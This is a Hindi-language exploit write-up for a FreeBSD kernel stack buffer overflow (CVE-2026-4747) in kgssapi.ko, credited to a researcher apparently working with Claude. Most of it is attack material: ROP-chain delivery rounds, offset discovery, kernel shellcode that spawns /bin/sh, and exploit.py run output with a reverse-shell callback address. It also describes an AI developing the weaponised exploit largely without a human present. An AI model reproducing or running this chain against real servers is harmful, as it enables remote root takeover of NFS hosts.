
# FreeBSD CVE-2026-4747 के लिए रिमोट कर्नेल RCE एक्सप्लॉइट kgssapi.ko में स्टैक बफर ओवरफ्लो, जो ROP चेन और शेलकोड के माध्यम से रूट शेल तक पहुंच प्रदान करता है।
____ __ ______ ____ ___ ____ __ _ _____ _ _ ___
/ ___/\ \ / / ___| |___ \ / _ \___ \ \ \ | ||___ | || ||__ \
| | \ \ / /| | ___ __) | | | |__) | \ \ _ | | / /| || |_ ) |
| |___ \ V / | |___|___| / __/| |_| / __/ \ \ | |__| | / / |__ _|/ /
\____| \_/ \____| |_____|\___/_____| \_\ \____/ /_/ |_||___|
kgssapi.ko में स्टैक बफर ओवरफ्लो → ~4 घंटे में रूट शेल
"किसी AI द्वारा खोजा और शोषित किया गया पहला रिमोट कर्नेल RCE एक्सप्लॉइट। कुल समय: ~4 घंटे का वास्तविक कार्य।"
— Nicholas Carlini द्वारा Claude (Anthropic) का उपयोग करके खोजा गया · 26 मार्च 2026 को प्रकाशित
CVE-2026-4747 kgssapi.ko में स्थित एक स्टैक बफर ओवरफ्लो (stack buffer overflow) भेद्यता है, जो NFS के लिए RPCSEC_GSS प्रमाणीकरण लागू करने वाला FreeBSD कर्नेल मॉड्यूल है।
svc_rpc_gss_validate() फ़ंक्शन हमलावर द्वारा नियंत्रित एक क्रेडेंशियल बॉडी को स्टैक पर 128-बाइट बफर (rpchdr[]) में आकार की जाँच किए बिना कॉपी करता है। चूँकि 32 बाइट पहले से ही RPC हेडर फ़ील्ड द्वारा घेरे गए हैं, केवल 96 बाइट खाली बचते हैं — लेकिन XDR परत 400 बाइट तक के क्रेडेंशियल की अनुमति देती है, जिससे 304 बाइट का ओवरफ्लो होता है।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-4747 |
| CWE | CWE-121 (स्टैक-आधारित बफर ओवरफ्लो) |
| घटक | kgssapi.ko / librpcgss_sec |
| प्रोटोकॉल | NFS / RPCSEC_GSS / Kerberos |
| आवश्यक विशेषाधिकार | वैध Kerberos टिकट (निम्न विशेषाधिकार) |
| प्रभाव | रिमोट कर्नेल कोड निष्पादन → uid 0 |
| CVSS | 9.8 क्रिटिकल |
| पैच किया गया | FreeBSD-SA-26:08.rpcsec_gss |
26 मार्च 2026 ── FreeBSD FreeBSD-SA-26:08.rpcsec_gss प्रकाशित करता है
क्रेडिट: "Nicholas Carlini using Claude, Anthropic"
29 मार्च 2026 ── 09:45 AM PDT: Claude से एक्सप्लॉइट विकसित करने का अनुरोध किया गया
05:00 PM PDT: Claude कार्यशील रूट शेल प्रदान करता है
कुल: ~7 घंटे वॉल क्लॉक / ~4 घंटे Claude का वास्तविक कार्य
मानव इस प्रक्रिया के अधिकांश समय AFK था।
/* svc_rpc_gss_validate() में — kgssapi.ko */
uint8_t rpchdr[128]; /* स्टैक पर बफर */
/* 32 बाइट पहले से ही RPC हेडर फ़ील्ड द्वारा उपभोग किए गए */
/* केवल 96 बाइट खाली बचते हैं */
/* XDR 400 बाइट तक के क्रेडेंशियल की अनुमति देता है */
/* 400 - 96 = 304 बाइट का ओवरफ्लो → RIP हाईजैक */
memcpy(rpchdr, credential_body, credential_len); /* ← BUG: आकार की जाँच नहीं */
FreeBSD 14.x में नहीं है:
int32_t[]) में स्टैक कैनरीयह ओवरफ्लो → RIP नियंत्रण को सीधा बनाता है।
हमलावर (नेटवर्क)
│
│ nfs/target@REALM के लिए वैध Kerberos टिकट
│
▼
NFS सर्वर (पोर्ट 2049/TCP)
│
│ credential_len = 400 के साथ RPCSEC_GSS अनुरोध
│
▼
svc_rpc_gss_validate() ← कर्नेल रिंग 0
│
│ आकार की जाँच के बिना memcpy
│ [128 बाइट बफर + 304 बाइट ओवरफ्लो]
│
▼
स्टैक स्मैशिंग → नियंत्रित RIP → ROP चेन → शेलकोड
│
▼
kproc_create() + kern_execve("/bin/sh") → uid=0 रिवर्स शेल
Claude ने advisory से रूट शेल तक पहुँचने के लिए 6 अलग-अलग समस्याओं को हल किया:
# FreeBSD 14.4-RELEASE VM जिसमें:
# - 2+ CPU (FreeBSD प्रति CPU 8 NFS थ्रेड स्पॉन करता है; एक्सप्लॉइट को 15 राउंड चाहिए)
# - kgssapi.ko लोड किया गया
# - पोर्ट 2049 पर NFS सक्रिय
# - MIT Kerberos KDC कॉन्फ़िगर किया गया (कमजोर कोड तक पहुँचने के लिए आवश्यक)
# - QEMU पोर्ट फ़ॉरवर्डिंग: host:2049 → guest:2049, host:8888 → guest:88 (KDC)
# हमलावर पर महत्वपूर्ण Kerberos कॉन्फ़िगरेशन:
# /etc/krb5.conf
[libdefaults]
rdns = false # इसके बिना: nfs/localhost@REALM के लिए टिकट (गलत)
dns_canonicalize_hostname = false # सर्वर KRB5KRB_AP_WRONG_PRINC के साथ अस्वीकार करता है
शेलकोड 432 बाइट का है लेकिन प्रति पैकेट ROP चेन के लिए केवल 200 बाइट उपलब्ध हैं।
राउंड 1: ROP → pmap_change_prot(BSS, RWX) ← BSS को निष्पादन योग्य बनाएं
राउंड 2-14: ROP → BSS में 32 बाइट शेलकोड लिखें (4 राइट × 8 बाइट)
राउंड 15: ROP → अंतिम बाइट लिखें + शेलकोड पर JUMP
प्रति राउंड बजट: 4 राइट × 40 बाइट = 160 बाइट + 24 बाइट exit = 184 बाइट ✓ (< 200)
; प्रत्येक राउंड सामान्य रिटर्न के बजाय kthread_exit(0) के साथ समाप्त होता है
; सर्वर क्रैश नहीं होता — यह केवल एक NFS थ्रेड खो देता है
; 2 CPU के साथ: 16 थ्रेड उपलब्ध → 15 राउंड के लिए पर्याप्त
# De Bruijn अनुक्रम → प्रत्येक 8-बाइट सबस्ट्रिंग अद्वितीय है
# क्रेडेंशियल बॉडी के रूप में भेजें → कर्नेल क्रैश → क्रैश डंप से RIP पढ़ें
# डिसअसेंबली ऑफसेट 168 कहती थी → वास्तविक: 200 बाइट
# अंतर: GSS हेडर के 32 बाइट जो स्थैतिक विश्लेषण में शामिल नहीं थे
pattern = cyclic(400) # 400 बाइट का De Bruijn
# क्रैश डंप: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200
शेलकोड एक शुद्ध कर्नेल NFS थ्रेड में चलता है — बिना vmspace, बिना trapframe।
/* चरण 1 (हाईजैक किए गए NFS थ्रेड के शेलकोड में): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit(); /* NFS थ्रेड को स्वच्छ रूप से मारें */
/* चरण 2 (नई प्रक्रिया में): */
/* 1. डीबग रजिस्टर साफ़ करें (हार्डवेयर बग - चरण 5 देखें) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");
/* 2. /bin/sh निष्पादित करें */
kern_execve("/bin/sh", args, envp);
/* 3. महत्वपूर्ण: P_KPROC फ्लैग साफ़ करें */
/* इसके बिना, fork_exit() kthread_exit() कॉल करता है और प्रक्रिया को मार देता है */
proc->p_flag &= ~P_KPROC;
/* 4. रिटर्न → fork_exit() → userret() → iretq → रिंग 3 → uid=0 शेल */
लक्षण: चाइल्ड प्रक्रिया वैध निर्देश पर trap 1 (डीबग अपवाद) के साथ क्रैश होती है।
कारण: kproc_create/fork1 पैरेंट का PCB कॉपी करता है, DDB के ब्रेकपॉइंट विरासत में मिलते हैं
जो एक्सप्लॉइट विकास के दौरान पिछले क्रैश से बचे थे।
फिक्स: kproc_create से पहले दो निर्देश:
xor eax, eax
mov dr7, rax ← सभी हार्डवेयर ब्रेकपॉइंट अक्षम करें
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS रिमोट कर्नेल RCE
स्टैक ओवरफ्लो → ROP → शेलकोड → uid 0 रिवर्स शेल
==============================================================
लक्ष्य: 127.0.0.1:2049
कॉलबैक: 10.0.2.2:4444
SPN: nfs/[email protected]
शेलकोड: 432 बाइट (54 qwords)
डिलीवरी: 15 राउंड (1 pmap + 14 राइट)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX)
[+] BSS अब RWX है
[R2/15] राइट (4 qwords → 0xffffffff8198a800) ✓
[R3/15] राइट (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] राइट + EXECUTE → JUMP 0xffffffff8198a800